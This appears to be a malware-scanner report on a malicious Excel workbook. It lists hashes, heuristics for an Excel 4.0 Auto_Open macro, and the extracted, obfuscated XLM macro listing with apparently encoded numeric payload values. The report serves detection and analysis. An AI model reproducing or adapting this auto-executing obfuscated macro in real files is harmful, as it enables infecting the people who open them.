Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f5b056e3e8356fa0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:08 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: a910447db25b5baacc43108eadcde5b7 SHA-1: 8392857ef3abfdbe850d39572bf325028e56d2b7 SHA-256: f5b056e3e8356fa0bb556f3b18e8107707107fcff8f7149328857d17eef05b3f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6655 bytes
SHA-256: 57866bc73659eaad178ceafed028846e9b89f9d446c740d26b50fa632b639e25
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tjRzH
' 0018     24 LABEL : Cell Value, String Constant - aEsuAUIhn len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E154 
' 0018     26 LABEL : Cell Value, String Constant - aydKXZsaFXh len=0 
' 0018     21 LABEL : Cell Value, String Constant - BkMxSY len=0 
' 0018     25 LABEL : Cell Value, String Constant - ClXhPtaawp len=0 
' 0018     26 LABEL : Cell Value, String Constant - CXvBOojHUPG len=0 
' 0018     22 LABEL : Cell Value, String Constant - DKXdJOk len=0 
' 0018     20 LABEL : Cell Value, String Constant - ePiQd len=0 
' 0018     23 LABEL : Cell Value, String Constant - IMhZqDKt len=0 
' 0018     21 LABEL : Cell Value, String Constant - KZEXCc len=0 
' 0018     25 LABEL : Cell Value, String Constant - njelszWBeo len=0 
' 0018     23 LABEL : Cell Value, String Constant - NlWBYCLB len=0 
' 0018     23 LABEL : Cell Value, String Constant - oxIvMlLA len=0 
' 0018     27 LABEL : Cell Value, String Constant - tbDxaaYxJscA len=0 
' 0018     22 LABEL : Cell Value, String Constant - TdwZVQP len=0 
' 0018     25 LABEL : Cell Value, String Constant - tebpEhsOKk len=0 
' 0018     25 LABEL : Cell Value, String Constant - TsCYbMXnUE len=0 
' 0018     20 LABEL : Cell Value, String Constant - ueOTa len=0 
' 0018     27 LABEL : Cell Value, String Constant - vEstjeXezhyF len=0 
' 0018     25 LABEL : Cell Value, String Constant - VIFqjcEoxx len=0 
' 0018     26 LABEL : Cell Value, String Constant - VsqYyFrqqLa len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tjRzH,S55,"",893.00000000000000000000
'  tjRzH,S56,"",-457.00000000000000000000
'  tjRzH,S57,"",-488.00000000000000000000
'  tjRzH,E58,"SET.NAME("VsqYyFrqqLa",0+VALUE("0"))",""
'  tjRzH,S58,"",960.00000000000000000000
'  tjRzH,S59,"",-557.00000000000000000000
'  tjRzH,S60,"",9.00000000000000000000
'  tjRzH,E62,"SET.NAME("aydKXZsaFXh",VsqYyFrqqLa)",""
'  tjRzH,E67,"SET.NAME("BkMxSY",VsqYyFrqqLa)",""
'  tjRzH,E70,"SET.NAME("tbDxaaYxJscA",COUNTA(njelszWBeo))",""
'  tjRzH,E73,"SET.NAME("ueOTa",COUNTA(tebpEhsOKk))",""
'  tjRzH,E77,[],""
'  tjRzH,E81,"SET.NAME("VIFqjcEoxx","")",""
'  tjRzH,E83,"aydKXZsaFXh",""
'  tjRzH,E87,"SET.NAME("oxIvMlLA",HLOOKUP("*",njelszWBeo,aydKXZsaFXh,FALSE))",""
'  tjRzH,E91,"ClXhPtaawp",""
'  tjRzH,E95,"SET.NAME("NlWBYCLB",VsqYyFrqqLa)",""
'  tjRzH,E97,[],""
'  tjRzH,E101,"NlWBYCLB",""
'  tjRzH,E103,"ePiQd",""
'  tjRzH,E108,"CXvBOojHUPG",""
'  tjRzH,E111,"TsCYbMXnUE",""
'  tjRzH,E116,"SET.NAME("DKXdJOk",VALUE(HLOOKUP("*",tebpEhsOKk,TsCYbMXnUE,FALSE)))",""
'  tjRzH,E119,"KZEXCc",""
'  tjRzH,E124,"VIFqjcEoxx",""
'  tjRzH,E128,"BkMxSY",""
'  tjRzH,E131,NEXT(),""
'  tjRzH,E136,"vEstjeXezhyF",""
'  tjRzH,E140,[],""
'  tjRzH,E144,"TdwZVQP",""
'  tjRzH,E146,NEXT(),""
'  tjRzH,E151,RETURN(),""
'  tjRzH,E183,"SET.NAME("aEsuAUIhn",E58)",""
'  tjRzH,E185,"njelszWBeo",""
'  tjRzH,E190,"SET.NAME("tebpEhsOKk",R97C15)",""
'  tjRzH,E193,"SET.NAME("TdwZVQP",200)",""
'  tjRzH,E195,"SET.NAME("IMhZqDKt",5)",""
'  tjRzH,E199,aEsuAUIhn(),""
'  tjRzH,E200,HALT(),""

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